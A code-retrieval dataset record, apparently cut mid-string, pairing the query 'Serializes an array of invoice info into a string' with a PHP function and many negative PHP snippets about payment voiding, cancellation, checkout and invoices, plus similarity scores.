session('order_details'),\n\t\t\t\t);\n\t\t\t\tunset_session('order_details');\n\t\t\t\tunset_session('paypal_payment_id');\t\n\t\t\t\t$order = new orders();\n\t\t\t\tif(!$order->save_order($data_order)){\n\t\t\t\t\tredirect(cn(\"checkout/unsuccess\"));\n\t\t\t\t};\n\t\t\t\t/*---------- Add funds to user balance ----------*/\n\t\t\t\tredirect(cn(\"checkout/success\"));\n\t\t\t}else{\n\t\t\t\tredirect(cn(\"checkout/unsuccess\"));\n\t\t\t}\n\n\t\t}else{\n\t\t\tredirect(cn(\"checkout/unsuccess\"));\n\t\t}\n\t}", "protected function voidOnline(Varien_Object $payment)\n {\n /* @var \\PostFinanceCheckout\\Sdk\\Model\\TransactionVoid $void */\n $void = Mage::getSingleton('postfinancecheckout_payment/service_void')->void($payment);\n if ($void->getState() == \\PostFinanceCheckout\\Sdk\\Model\\TransactionVoidState::FAILED) {\n Mage::throwException($this->getHelper()->__('The void of the payment failed on the gateway.'));\n }\n }", "public function destroy()\n {\n session()->forget('wallet');\n return back()->with('success_message', 'Wallet money will be not used for payment.'); //\n }", "public function testBuildCreditCardVoid()\n {\n $config = new SinglePayConfig();\n $config->setServiceConfig(self::$testConfig);\n\n $card = new Card();\n $card->setToken('test-token')\n ->setName('TEST')\n ->setNumber('8696969')\n ->setExpiryMonth('09')\n ->setExpiryYear('18')\n ->setCvv('200');\n\n $data = new SinglePayData();\n $data->setOrderAmount('10.00')\n ->setCard($card);\n\n $creditCardVoid = ExpressFactory::buildCreditCardVoid($config, $data);\n $this->assertInstanceOf('\\SinglePay\\PaymentService\\Element\\Express\\Method\\CreditCardVoid', $creditCardVoid);\n $this->assertInternalType('array', $creditCardVoid->extendedParameters);\n $this->assertEquals('PaymentAccount', $creditCardVoid->extendedParameters[0]->Key);\n }", "public function refund();", "public function paymentcancel(Request $req){\n\treturn(\"Payment was cancelled\");\n }", "public function destroy( Payment $payment ) {\n\t $invoice = Invoice::find($payment->invoice_id);\n\t if(isset($invoice)) {\n $invoice->paid = 0;\n $invoice->paid_amount = $invoice->paid_amount - $payment->amount;\n $invoice->save();\n }\n\t\t$payment->delete();\n\n\t\treturn redirect( '/payment' );\n\t}", "public function processPayment(Payment $payment): void\n {\n }", "public function hookPaymentReturn()\n {\n }", "public function paymentAction()\n {\n\n $this->initUnipagosPaymentStep();\n $this->loadLayout(); \n $this->getLayout()->getBlock(\"head\")->setTitle($this->__(\"Unipagos Payment\"));\n $this->renderLayout(); \n }", "public function makePaymentAction()\n {\n if ($_SESSION['actionAvailable']) {\n try {\n $id = $_SESSION['id'];\n $account = new BankAccountModel(null, $id);\n $toAccountID = $_POST['accountTo'];\n\n\n $fromAccountID = $account->findID($_POST['accountFrom']);\n $transaction = new TransactionModel();\n $transaction->validateTransfer($toAccountID, $fromAccountID);\n $transaction->makeTransfer();\n $transaction->save();\n\n $view = new View('transactionComplete');\n echo $view->render();\n $_SESSION['actionAvailable'] = false;\n } catch (\\UnexpectedValueException $e) {\n $_SESSION['emptyField'] = true;\n $this->redirect('paymentPage');\n } catch (\\LogicException $e) {\n $_SESSION['validTransaction'] = false;\n $this->redirect('paymentPage');\n }\n }\n }", "public function cancel(Varien_Object $payment)\n {\n /*\n * Important: If an order was voided successfully and the user clicks on cancel in order-view\n * this method is not triggered anymore\n */\n\n //Proceed parent cancel method in case that regirstry value ops_auto_void is set\n if (true === Mage::registry('ops_auto_void')):\n Mage::unregister('ops_auto_void');\n return parent::cancel($payment);\n endif;\n\n //If order has state 'pending_payment' and the payment has Ingenico Payment Services-status 0 or null (unknown) then cancel the order\n if (true === $this->canCancelManually($payment->getOrder())) {\n $payment->getOrder()->addStatusHistoryComment(\n $this->getHelper()->__(\"The order was cancelled manually. The Ingenico Payment Services-state is 0 or null.\")\n );\n return parent::cancel($payment);\n }\n\n //Abort cancel method by throwing a Mage_Core_Exception\n throw new Mage_Core_Exception($this->getHelper()->__('Please use void to cancel the operation.'));\n }", "public function executeLogout() {\n $this->logMessage(\"Logout\", 'debug');\n $this->getUser()->clearCredentials();\n $this->getUser()->setAuthenticated(false);\n $this->redirect('default/index');\n }", "public function execute(){\n $paymentId = $_GET['paymentId'];\n $payment = Payment::get($paymentId, $this->_apiContext);\n $payerId = $_GET['PayerID'];\n\n // Execute payment with payer ID\n $execution = new PaymentExecution();\n $execution->setPayerId($payerId);\n \n $transaction = new Transaction();\n $amount = new Amount();\n\n $details = new Details();\n $details->setShipping(0)\n ->setTax(0)\n ->setSubtotal(Cart::subtotal());\n\n $amount->setCurrency('BRL');\n $amount->setTotal(Cart::total());\n $amount->setDetails($details);\n\n $transaction->setAmount($amount);\n\n $execution->addTransaction($transaction);\n\n try{\n // Execute payment\n $result = $payment->execute($execution, $this->_apiContext);\n \n try{\n\n $payment = Payment::get($paymentId, $this->_apiContext);\n }catch(Exception $ex){\n\n die($ex);\n }\n }catch(PayPalConnectionException $ex){\n\n echo $ex->getCode();\n echo $ex->getData();\n die($ex);\n }catch(Exception $ex){\n\n die($ex);\n }\n\n Session::flash('status', 'Pagamento realizado');\n Session::put('token-paypal', $_GET['token']);\n return redirect('/paypal/transaction/complete');\n }", "public function cancelRequest(){\n //the other users Id\n $otherUserId = $_POST[\"otherUserId\"];\n //deletes the record in the database\n $this->individualGroupModel->cancelGroupRequestInvitation($otherUserId); \n //redirects\n $path = '/IndividualGroupController/individualGroup?groupId=' . $_SESSION['current_group']; \n redirect($path);\n }", "public function finish()\n\t{\n\t\t//first we deactivate the quote\n\t\t$this->_getQuote()->setIsActive(false)->save();\n\t\t\n\t\t//now we add the payment information to the order payment\n\t\t$this->_getMethodInstance()->addRequestData($this->getResponse());\n\t\t\n\t\t//now we authorise the payment\n\t\tif(false === $this->_getMethodInstance()->authPayment($this->getResponse())){\n\t\t\tMage::throwException(\"Payment Failure\");\n\t\t}\n\t\t\n\t\t//now we shift the order to either pending state, \n\t\t// or processing state (with invoice) depending on the capture settings.\n\t\t$this->_getMethodInstance()->process($this->getResponse());\n\t\t\n\t\t//send off the new order email\n\t\t$this->_getOrder()->sendNewOrderEmail();\n\t}", "public function isVoidVerb();", "public function execute() {\r\n \r\n $resultRedirect = $this->getResultRedirect();\r\n $paymentToken = $this->getRequest()->getParam('cko-payment-token');\r\n $quote = $this->session->getQuote();\r\n \r\n try {\r\n $response = $this->verifyPaymentService->verifyPayment($paymentToken);\r\n $cardToken = $response['card']['id'];\r\n \r\n if(isset($response['description']) && $response['description'] == 'Saving new card'){\r\n return $this->vaultCardAfterThreeDSecure( $response );\r\n }\r\n \r\n $this->validateQuote($quote);\r\n $this->assignGuestEmail($quote, $response['email']);\r\n\r\n if($response['status'] === 'Declined') {\r\n throw new LocalizedException(__('The transaction has been declined.'));\r\n }\r\n\r\n $this->orderService->execute($quote, $cardToken, []);\r\n\r\n return $resultRedirect->setPath('checkout/onepage/success', ['_secure' => true]);\r\n } catch (\\Exception $e) {\r\n $this->messageManager->addExceptionMessage($e, $e->getMessage());\r\n }\r\n \r\n return $resultRedirect->setPath('checkout/cart', ['_secure' => true]);\r\n }", "public function testDeclines()\n {\n $this->mock->append(new Response(204));\n\n $order = new Orders($this->connector, 'auth-token-123456');\n $order->decline(['data' => 'sent in']);\n\n $request = $this->mock->getLastRequest();\n $this->assertEquals(Method::DELETE, $request->getMethod());\n $this->assertEquals(\n '/instantshopping/v1/authorizations/auth-token-123456',\n $request->getUri()->getPath()\n );\n $this->assertEquals('{\"data\":\"sent in\"}', strval($request->getBody()));\n \n\n $this->assertAuthorization($request);\n }", "function cancelCommit()\n{\n global $user;\n $UID = $user->uid;\n $params = drupal_get_query_parameters();\n $OID = $params['OID'];\n\n // removing user's commitment from the outreach completely\n dbRemoveUserFromOutreach($UID,$OID);\n drupal_set_message(\"Your commitment to outreach event: \" . dbGetOutreachname($OID) . \" has been removed!\"); //letting them know and redirecting user to the previous page they were on\n drupal_goto($_SERVER['HTTP_REFERER']);\n}", "public function Desconectarse(){\n $this->auth->destruir();\n header('Location: index.php'); // Remite a pagina inicial por defecto para validar credenciales de acceso\n }", "public function pay_action ()\n\t{\n\t\ttry\n\t\t{\n\t\t\t$order_id = $_GET['osc_order_id'];\n\n\t\t\t$payment = self::get_api()->payments->create(array(\n\t\t\t\t\"amount\" => $this->get_order_total($order_id),\n\t\t\t\t\"method\" => isset($_GET['method']) ? $_GET['method'] : NULL,\n\t\t\t\t\"description\" => MODULE_PAYMENT_MOLLIE_PAYMENT_DESCRIPTION . \" \" . $order_id,\n\t\t\t\t\"redirectUrl\" => $this->get_return_url($order_id),\n\t\t\t\t\"metadata\" => array(\"order_id\" => $order_id),\n\t\t\t\t\"webhookUrl\" => $this->get_webhook_url($order_id),\n\t\t\t\t\"issuer\" => !empty($_GET['issuer']) ? $_GET['issuer'] : NULL\n\t\t\t));\n\n\t\t\t$this->log($payment->id, $payment->status, $order_id);\n\n\t\t\theader(\"Location: \" . $payment->getPaymentUrl());\n\t\t}\n\t\tcatch (Mollie_API_Exception $e)\n\t\t{\n\t\t\techo \"API call failed: \" . htmlspecialchars($e->getMessage());\n\t\t}\n\t}", "public function testBuildCreditCardVoidFailWithNoToken()\n {\n $config = new SinglePayConfig();\n $config->setServiceConfig(self::$testConfig);\n\n $card = new Card();\n $card->setName('TEST')\n ->setNumber('8696969')\n ->setExpiryMonth('09')\n ->setExpiryYear('18')\n ->setCvv('200');\n\n $data = new SinglePayData();\n $data->setOrderAmount('10.00')\n ->setCard($card);\n\n $creditCardReversal = ExpressFactory::buildCreditCardVoid($config, $data);\n }", "public function testCancelPayment()\n {\n $this->mockPaymentMapping(\n MiraklMock::ORDER_COMMERCIAL_CANCELED,\n StripeMock::CHARGE_STATUS_AUTHORIZED,\n 8472\n );\n $this->executeCommand();\n $this->assertCount(0, $this->validateReceiver->getSent());\n $this->assertCount(0, $this->captureReceiver->getSent());\n $this->assertCount(1, $this->cancelReceiver->getSent());\n }", "public function cancelAction() \n {\n if (Mage::getEdition() == Mage::EDITION_ENTERPRISE) {\n $this->helper()->storeCreditSessionUnset();\n $this->helper()->giftCardsSessionUnset();\n }\n\n $this->_redirect('checkout/cart');\n }", "protected function doVoid(\\XLite\\Model\\Payment\\BackendTransaction $transaction)\n {\n return $this->doSecondary($transaction, 'void');\n }", "public function payAction()\n\t{\n\t\t$paylanedirectdebit = Mage::getSingleton(\"paylanedirectdebit/standard\");\n\t\t$data = $paylanedirectdebit->getPaymentData();\n\t\t\n\t\tif (is_null($data))\n\t\t{\n\t\t\tMage::app()->getFrontController()->getResponse()->setRedirect(Mage::getUrl(\"/\"));\n\t\t}\n\t\t\n\t\techo \"Your payment is being processed...\";\n\t\t\n\t\t// connect to PayLane Direct System\t\t\n\t\t$paylane_client = new PayLaneClient();\n\t\t\n\t\t// get login and password from store config\n\t\t$direct_login = Mage::getStoreConfig('payment/paylanedirectdebit/direct_login');\n\t\t$direct_password = Mage::getStoreConfig('payment/paylanedirectdebit/direct_password');\n\t\t\n\t\t$status = $paylane_client->connect($direct_login, $direct_password);\n\t\tif ($status == false)\n\t\t{\n\t\t\t// an error message\n\t \t$paylanedirectdebit->addComment(\"Error processing your payment... Please try again later.\", true);\n\n\t \t$this->_redirect('checkout/onepage/failure');\n\t\t\treturn;\n\t\t}\n\t\t\n\t\t$result = $paylane_client->multiSale($data);\n\t\tif ($result == false)\n\t\t{\n\n\t\t\t// an error message\n\t \t$paylanedirectdebit->addComment(\"Error processing your payment... Please try again later.\", true);\n\t\n\t \t$this->_redirect('checkout/onepage/failure');\n\t\t\treturn;\n\t\t}\n\t\t\n\t\tif (isset($result->ERROR))\n\t\t{\n\t\t\t// an error message\n\t \t$paylanedirectdebit->addComment($result->ERROR->error_description, true);\n\t\n\t \t$this->_redirect('checkout/onepage/failure');\n\t \treturn;\n\t\t}\n\t\t\n\t\tif (isset($result->OK))\n\t\t{\n\t\t\t$paylanedirectdebit->setPendingStatus($result->OK->id_sale);\n\t\n\t \tsession_write_close(); \n\t \t$this->_redirect('checkout/onepage/success');\n\t \treturn;\n\t\t}\n\t}", "public function void(array $data = [])\n {\n if (!$this->transactionToken) {\n throw new Exceptions\\MissingTransactionTokenException();\n }\n\n return $this->client->post('v1/transactions/'.$this->transactionToken.'/void.json', $data);\n }", "public function destroy(ManualPay $manualPay)\n {\n //\n }", "public function cancel()\n {\n session()->flash('warning', trans('saassubscription::app.super-user.plans.payment-cancel'));\n\n return redirect()->route($this->_config['redirect']);\n }", "public function cancelAction() \n {\n \t\t$tblVote = Facebook_Vote::Table();\n\t\t$objSession = new App_Session_Namespace( 'facebook' );\n\t\t\n\t\tif ( is_object( $objSession )) {\n\t\t\t$nUserId = $objSession->user->fbu_id;\n\t\t\t$nVoteId = $this->_getIntParam( 'fbv_vote_id', 1 );\n\t\t\t\n\t\t\t$objVote = $tblVote->findVote( $nUserId, $nVoteId );\n\t\t\tif ( is_object( $objVote ) ) {\n \t\t\t\t$objVote->delete();\n\t\t\t}\n\t\t}\n\t\t$this->view->return = $this->_getParam( 'return' );\n }", "public function notifyPayment()\n {\n }", "public function destroy(PaymentConfirmation $payment)\n {\n //\n }", "public function processPaypal(){\r\n\t// and redirect to thransaction details page\r\n\t}", "public function okAction() { \n $this->setSession();\n $this->setOrder($this->getOrderIdFromResponse());\n $this->setPayment();\n $this->checkHash($this->getPaymentHashFromResponse());\n $this->_session->getQuote()->setIsActive(false)->save();\n if ($this->isNewOrder()) {\n $this->_redirect('checkout/onepage/success', array('_secure'=>true)); \n } else {\n $this->loadLayout();\n $this->renderLayout(); \n } \n }", "public function payout()\n\t{\n\t}", "public function testExecuteWithoutIntent() {\n $method = $this->method;\n $api = $this->createMock(Api::class);\n $api->expects($this->never())->method($this->anything());\n $method->api = $api;\n $payment = entity_create('payment', ['method' => $method]);\n $payment->method_data = [];\n $method->controller->execute($payment);\n $this->assertEqual(STRIPE_PAYMENT_STATUS_NO_INTENT, $payment->getStatus()->status);\n $this->assertTrue(payment_status_is_or_has_ancestor($payment->getStatus()->status, PAYMENT_STATUS_FAILED));\n }", "public function void(\\Magento\\Payment\\Model\\InfoInterface $payment)\n {\n parent::void($payment);\n $response = $this->_remoteXml->void($payment, []);\n if (!isset($response) || !$response) {\n throw new \\Magento\\Framework\\Exception\\LocalizedException(__('The void action failed'));\n }\n $fields = $response->toArray();\n if ($fields['RESULT'] != '00') {\n throw new \\Magento\\Framework\\Exception\\LocalizedException(\n __(\n 'The void action failed. Gateway Response - Error ' . $fields['RESULT'] . ': ' .\n $fields['MESSAGE']\n )\n );\n }\n $payment->setTransactionId($fields['PASREF'])\n ->setParentTransactionId($payment->getAdditionalInformation('PASREF'))\n ->setTransactionAdditionalInfo(\\Magento\\Sales\\Model\\Order\\Payment\\Transaction::RAW_DETAILS, $fields);\n\n return $this;\n }", "protected function cancelPayments()\n {\n $i = 0;\n $sql = \"SELECT `vendorTxCode` FROM payment WHERE status = ? AND \" .\n \"((cardType='MAESTRO' AND created <= ?) OR created <= ?)\";\n $params = array(SAGEPAY_REMOTE_STATUS_AUTHENTICATED, date('Y-m-d H:i:s', strtotime('-30 days')), date('Y-m-d H:i:s',\n strtotime('-90 days')));\n $cancelStatus = array('Status' => SAGEPAY_REMOTE_STATUS_CANCELLED);\n\n $payment = new ModelPayment();\n $paymentStm = $this->dbHelper->execute($sql, $params);\n if (!$paymentStm)\n {\n exit('Invalid query');\n }\n $payments = $paymentStm->fetchAll(PDO::FETCH_ASSOC);\n foreach ($payments as $row)\n {\n if ($payment->update($row['vendorTxCode'], $cancelStatus))\n {\n $i++;\n }\n }\n printf('Updated %d payments', $i);\n }", "public function cancel(): void;", "public function cancelAction()\n {\n $session = Mage::getSingleton('checkout/session');\n $session->setQuoteId($session->getPaypalStandardQuoteId(true));\n\n $this->_redirect('checkout/cart');\n }", "function cancel_transaction() {\n $cancel = @$_POST['cancel'];\n if(!empty($_SESSION['quantity_details']) && !empty($_SESSION['seats_selected'])) {\n unset($_SESSION['quantity_details']);\n unset($_SESSION['cart_details']);\n unset($_SESSION['cart']);\n unset($_SESSION['seats_selected']);\n unset($_SESSION['tcount']);\n unset($_SESSION['itotal']);\n unset($_SESSION['total']);\n \n echo \"success\";\n } else if(!empty($_SESSION['cart'])) {\n unset($_SESSION['quantity_details']);\n unset($_SESSION['cart']);\n unset($_SESSION['tcount']);\n unset($_SESSION['itotal']);\n unset($_SESSION['total']);\n\n echo \"success\";\n } else {\n echo \"failure\";\n }\n }", "private function deletePaymentStatus()\n {\n $sql = \"DELETE FROM s_core_states WHERE `group` = 'payment' AND\n id IN (1750, 1751, 1752, 1753)\";\n Shopware()->Db()->query($sql);\n $sql = \"DELETE FROM s_core_snippets WHERE name in ('in_review',\"\n . \"'pre_authorization_of_payment', 'payment_accepted', \"\n . \"'refund')\";\n Shopware()->Db()->query($sql);\n }", "public function payment(){\n\n\t}", "public function destroy(Payment $payment)\n {\n $payment->delete();\n // Alert\n\n return back();\n }", "public function cancel()\n {\n $this->confirmationArchived = false;\n }", "public function declinePayment() {\n return array('#markup' => iish_t('Unfortunately, your payment has been declined. Please try to finish your final registration ' .\n 'at a later moment or try a different payment method.'));\n }" ]
[ "0.7107653", "0.7057634", "0.70034224", "0.69677293", "0.6938851", "0.6876599", "0.6847048", "0.6816612", "0.68006825", "0.67071784", "0.658099", "0.6527739", "0.65028083", "0.64541745", "0.6447634", "0.6403262", "0.6347522", "0.63318306", "0.63057965", "0.62625283", "0.61707115", "0.6160294", "0.6118087", "0.61152464", "0.60790324", "0.60692996", "0.6046023", "0.60259914", "0.601299", "0.601299", "0.601299", "0.601299", "0.601299", "0.601299", "0.601299", "0.601299", "0.601299", "0.601299", "0.6010839", "0.5999424", "0.5989385", "0.598291", "0.59602547", "0.5936822", "0.5934369", "0.5932609", "0.59316975", "0.59315056", "0.5892557", "0.58921695", "0.5874274", "0.586255", "0.58576363", "0.584829", "0.58411163", "0.57921076", "0.57885504", "0.5774187", "0.5760726", "0.5750782", "0.5740011", "0.57393986", "0.5730345", "0.5714278", "0.57036847", "0.5699945", "0.5695296", "0.5695271", "0.56895715", "0.56860316", "0.5680466", "0.56787574", "0.5666847", "0.5665717", "0.56629854", "0.56557006", "0.56475395", "0.564042", "0.5639093", "0.5623663", "0.5613538", "0.5610255", "0.5602082", "0.5601052", "0.5597978", "0.5578113", "0.55705655", "0.55674493", "0.55671346", "0.5565156", "0.555585", "0.555317", "0.55515367", "0.55483717", "0.5543434", "0.55421585", "0.5533271", "0.55328625", "0.5532231", "0.5527246", "0.5512294" ]
0.0
-1
Serializes an array of invoice info into a string
private function serializeInvoices(array $invoices) { $str = ""; foreach ($invoices as $i => $invoice) $str .= ($i > 0 ? "|" : "") . $invoice['id'] . "=" . $invoice['amount']; return $str; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function _serialize()\r\n {\r\n $values = array(count($this->_items));\r\n foreach ($this->_items as $item)\r\n {\r\n $itemArr = $item->asArray();\r\n foreach ($this->_struct as $key)\r\n {\r\n $values[] = is_null($itemArr[$key]) ? '---' : $itemArr[$key];\r\n }\r\n }\r\n if ($this->getDeliveryGrossAmount() > 0)\r\n {\r\n $values[0]++;\r\n $values[] = 'Delivery';\r\n $values[] = 1;\r\n $values[] = number_format($this->getDeliveryNetAmount(), 2);\r\n $values[] = number_format($this->getDeliveryTaxAmount(), 2);\r\n $values[] = number_format($this->getDeliveryGrossAmount(), 2);\r\n $values[] = number_format($this->getDeliveryGrossAmount(), 2);\r\n }\r\n\r\n return implode(':', $values);\r\n }", "public function serialize()\n {\n $array = array(\n 'count' => $this->count(),\n 'data' => iterator_to_array($this->iterator)\n );\n\n return serialize($array);\n }", "public function dataForInvoice() {\n\t\t\t\n\t\t\t$data = [\n\t\t\t 'booking_reference' => $this->reference,\n\t\t\t 'booking_date' => Utility::dateTimeLocale($this->updated_at, false),\n\t\t\t 'user_booking_fullname' => $this->user_booking_fullname,\n\t\t\t 'user_booking_address' => $this->user_booking_address,\n\t\t\t 'user_booking_locality' => $this->user_booking_full_locality,\n\t\t\t 'user_booking_email' => $this->user_booking_email,\n\t\t\t 'user_booking_tax_code' => $this->user->customer->taxCode,\n\t\t\t 'apartment_owner_fullname' => $this->apartment_owner_fullname,\n\t\t\t 'apartment_owner_tax_code' => $this->apartmentOwner->customer->taxCode,\n\t\t\t 'apartment_owner_address' => $this->apartment_owner_address,\n\t\t\t 'apartment_owner_locality' => $this->apartment_owner_full_locality,\n\t\t\t 'apartment_owner_email' => $this->apartment_owner_email,\n\t\t\t 'apartment_title' => $this->apartment_title,\n\t\t\t 'apartment_price_per_night' => $this->apartment_price_per_night,\n\t\t\t 'check_in' => Utility::dateTimeLocale($this->check_in, false),\n\t\t\t 'check_out' => Utility::dateTimeLocale($this->check_out, false),\n\t\t\t 'nights_count' => Utility::diffInDays($this->check_in, $this->check_out),\n\t\t\t 'total_amount' => $this->bookingAmount(),\n\t\t\t 'has_upgrades' => $this->bookedServices()->exists(),\n\t\t\t];\n\t\t\tif ($data['has_upgrades']) {\n\t\t\t\t$data['upgrades'] = [];\n\t\t\t\tforeach ($this->bookedServices()->get() as $bookedService) {\n\t\t\t\t\t$data['upgrades'][] =\n\t\t\t\t\t [\n\t\t\t\t\t\t'name' => $bookedService->name,\n\t\t\t\t\t\t'price_per_night' => $bookedService->price_per_night,\n\t\t\t\t\t ];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $data;\n\t\t}", "public function toArray($notifiable)\n {\n return $this->invoice;\n }", "public function serializeAll(array $data): string;", "public function toSerial() {\n\t\treturn serialize($this->toArray());\n\t}", "public function serialize()\r\n {\r\n $data = $this->toArray();\r\n\r\n return serialize($data);\r\n }", "public function serialize()\n {\n return serialize([$this->id,$this->matric_number]);\n }", "public function serialize() \n {\n return serialize($this->items);\n }", "public function toJSONString(){\n $this->buildArray();\n return json_encode($this->array);\n }", "public function serialize(): array;", "public function serialize() {\n\t\t$aInformation = array();\n\t\tforeach (self::$s_aInfoKeys as $sKey) {\n\t\t\t$aInformation[$sKey] = $this[$sKey];\n\t\t}\n\n\t\treturn serialize($aInformation);\n\t}", "public function getInvoiceData() : array\n {\n return $this->invoiceData ?? [];\n }", "public function serialize()\n {\n return serialize($this->toArray());\n }", "public function serialize(): string\n {\n return serialize($this->toArray());\n }", "public function __toString(): string\n {\n return serialize($this->toArray());\n }", "public function __toString()\n {\n return json_encode($this->array);\n }", "public function getInvoiceInfo()\n {\n return $this->get(self::INVOICEINFO);\n }", "public function serialize();", "public function serialize();", "public function serialize();", "public function toString()\n {\n return Str(json_encode($this->array));\n }", "public function toString()\n {\n return serialize($this->getData());\n }", "public function __toString() {\n return theme('commerce_invoice_number', ['invoice_number' => $this, 'sanitize' => FALSE]);\n }", "public function __toString(): string\n {\n return var_export($this->toArray(), true);\n }", "public function get_invoices( ) {\n\n $invoiceArray = $this->mockinvoice_model->get_invoices( $this->input->post( 'jobId' ) );\n\n if ( !empty( $invoiceArray ) ) {\n $invoiceHTML = create_invoice_html( $invoiceArray );\n // Push the HTML for the invoice tables onto the array being returned\n $invoiceArray[] = array( 'mockInvoiceId' => '', 'readyToInvoice' => '', 'archived' => '', 'invoiceHTML' => $invoiceHTML );\n }\n\n // Send back the timesheet settings as JSON.\n $this->json_library->print_array_json( $invoiceArray );\n }", "public function serialize() {}", "public function serialize() {}", "public function serialize() {}", "public function serialize() {}", "public function serialize() {}", "public function serialize() {}", "public function serialize() {}", "public function serialize() {}", "public function serialize()\n {\n return serialize([\n 'identity' => $this->identity,\n 'name' => $this->name,\n 'emailAddress' => $this->emailAddress\n ]);\n }", "public function __toString()\n\t{\n\t\treturn json_encode($this->toArray());\n\t}", "public function toArray($request)\n {\n return [\n '_uid'=>$this->payment->id,\n 'orderType'=>$this->type,\n 'amount'=>$this->amount,\n 'commentTxt'=>$this->payment->commentTxt,\n 'date'=> date_format(date_create($this->created_at),\"d M h:iA\"),\n 'invoiceStatus'=>$this->payment->customerStatusInInvoice,\n 'pushUrl'=>route('invoice.push',['type'=>'customer','payId'=>$this->payment->id,'id'=>$this->customer->id])\n\n ];\n }", "public function __toString()\n {\n return json_encode($this->toArray());\n }", "public function serialize()\n\t{\n\t\treturn serialize(array(\n\t\t\t$this->gender,\n\t\t\t($this->sociotype ? $this->sociotype->getId() : 0),\n\t\t\t$this->ageFrom,\n\t\t\t$this->ageTo,\n\t\t\t$this->locationId,\n\t\t\t$this->locationType,\n\t\t\t$this->locationTitle,\n\t\t\t$this->hasPhoto,\n\t\t));\n\t}", "public function toArray($request)\n {\n return [\n 'Name'=>$this->name,\n // 'CompanyID'=>$this->company_id,\n // 'InvoiceStatus'=>$this->invoice_status,\n // 'PaymentType'=>$this->payment_type,\n // 'DueDate'=>$this->due_date,\n // 'InvoiceMonth'=>$this->invoice_month,\n // 'InvoiceYear'=>$this->invoice_year,\n // 'VatTax'=>$this->vat_tax,\n \n ];\n }", "public function __toString(): string\n {\n $ret = \"\";\n\n if (count($this->_items) > 0) {\n foreach ($this->_items as $orderItem) {\n $ret .= $orderItem->__toString() . PHP_EOL;\n }\n }\n\n // Taxes:\n $ret .= \"Sales Taxes: \" . MoneyHelper::getInstance()->asDecimal($this->getTotalTaxes()) . PHP_EOL;\n\n // Total:\n $ret .= \"Total: \" . MoneyHelper::getInstance()->asDecimal($this->getGrandTotal()) . PHP_EOL;\n\n return rtrim($ret, PHP_EOL);\n }", "public function __toString() {\n $params = [];\n $str = '';\n foreach ($this->data as $x => $row) {\n $str .= '[ ';\n foreach ($row as $y => $value) {\n $str .= \"%s \";\n $params[] = $value;\n }\n $str .= \"]\\n\";\n }\n return vsprintf($str, $params);\n }", "public function toString(array $data): string;", "public function serialize()\n {\n if (method_exists($this, 'toArray')) {\n return json_encode($this->toArray());\n }\n\n return json_encode([]);\n }", "function serialise(): string;", "public function __toString()\n {\n $lines = array();\n foreach ($this->transactions as $entry) {\n $response = isset($entry['response']) ? $entry['response'] : '';\n $lines[] = '> ' . trim($entry['request']) . \"\\n\\n< \" . trim($response) . \"\\n\";\n }\n\n return implode(\"\\n\", $lines);\n }", "public function serialize() \n {\n return serialize([\n 'boardingCardNumber'=>$this->boardingCardId,\n 'arrival'=>$this->arrival, \n 'departure'=>$this->departure, \n 'passenger'=>$this->passenger,\n 'reference'=>$this->reference,\n 'busNo'=>$this->busNo,\n 'platformNo'=>$this->platformNo\n ]);\n }", "public function __toString()\n {\n if (defined('JSON_PRETTY_PRINT')) { // use JSON pretty print\n return json_encode(\\MuhimbiPDFOnline\\Client\\ObjectSerializer::sanitizeForSerialization($this), JSON_PRETTY_PRINT);\n }\n\n return json_encode(\\MuhimbiPDFOnline\\Client\\ObjectSerializer::sanitizeForSerialization($this));\n }", "public function toArray($request)\n {\n return [\n 'id' => $this->id,\n 'invoice_number' => $this->invoice_number,\n 'card_number' => $this->card_number,\n 'name' => $this->name,\n 'student' => $this->wallet->user->name,\n 'school' => $this->wallet->user->student->school->user->name,\n 'bank' => $this->bank,\n 'value' => 'Rp'.number_format($this->value , 2 ,',','.'), \n 'status' => $this->status,\n 'proof' => $this->proof,\n 'payment_at' => $this->created_at->diffForHumans(),\n ];\n }", "public function getInvoices()\n {\n return (array) $this->invoices;\n }", "public function toString()\n {\n return 'Invoice is present on invoices tab.';\n }", "public function toString() : void\n {\n $out = serialize($this);\n \n }", "function __toString(){\n\treturn serialize($this->__data);\n\t}", "public function getInvoices(array $params) : array {\n\n $query = $this->validateGetInvoices($params);\n\n if (array_key_exists('supplierId', $params) && count($params['supplierId']) > 0){\n foreach ($params['supplierId'] as $supplier){\n $query .= \"&supplierId=\".$supplier;\n }\n }\n\n $invoices = $this->request('/resto/api/documents/export/incomingInvoice', $this->key, 'GET', [], $query);\n\n $invoiceList = new SimpleXMLElement($invoices);\n $i = 0;\n foreach ($invoiceList->document as $inv){\n $this->invoices[] = new InvoiceObject(\n strval($inv->id),\n strval($inv->transportInvoiceNumber),\n strval($inv->incomingDate),\n strval($inv->supplier),\n strval($inv->defaultStore),\n strval($inv->dateIncoming),\n strval($inv->documentNumber),\n strval($inv->incomingDocumentNumber),\n strval($inv->conception),\n strval($inv->status),\n strval($inv->distributionAlgorithm)\n );\n\n foreach ($inv->items->item as $item) {\n $this->invoices[$i]->items[] = new InvoiceItemObject(\n strval($item->product),\n strval($item->productArticle),\n strval($item->supplierProduct),\n strval($item->supplierProductArticle),\n floatval($item->amount),\n strval($item->amountUnit),\n floatval($item->actualAmount),\n strval($item->store),\n strval($item->code),\n floatval($item->price),\n floatval($item->priceWithoutVat),\n floatval($item->sum),\n floatval($item->vatPercent),\n floatval($item->vatSum),\n floatval($item->discountSum),\n strval($item->num)\n );\n }\n\n\n $i++;\n }\n\n return $this->invoices;\n\n }", "public function stringify(){\n $datas = $this->getDatas();\n\n return json_encode($datas, JSON_PRETTY_PRINT);\n }", "public function serialize()\n {\n return serialize($this->data);\n }", "public function serialize()\n {\n return serialize($this->data);\n }", "function __toString()\n {\n return '{\"idPartita\":\"'.$this->getIdPartita().\n '\",\"squadraCasa\":\"'.$this->getSquadraCasa().\n '\",\"squadraTrasferta\":\"'.$this->getSquadraTrasferta().\n '\",\"orario\":\"'.$this->getOrario().\n '\",\"luogo\":\"'.$this->getLuogo().\n '\",\"risultato\":\"'.$this->getRisultato().'\",\"squadre_idSquadre\":\"'.$this->getSquadreIdSquadre().'\"}';\n }", "public function __toString()\n {\n if (defined('JSON_PRETTY_PRINT')) { // use JSON pretty print\n return json_encode(\\eSagu\\Amzn\\RePricing\\V1\\ObjectSerializer::sanitizeForSerialization($this), JSON_PRETTY_PRINT);\n }\n\n return 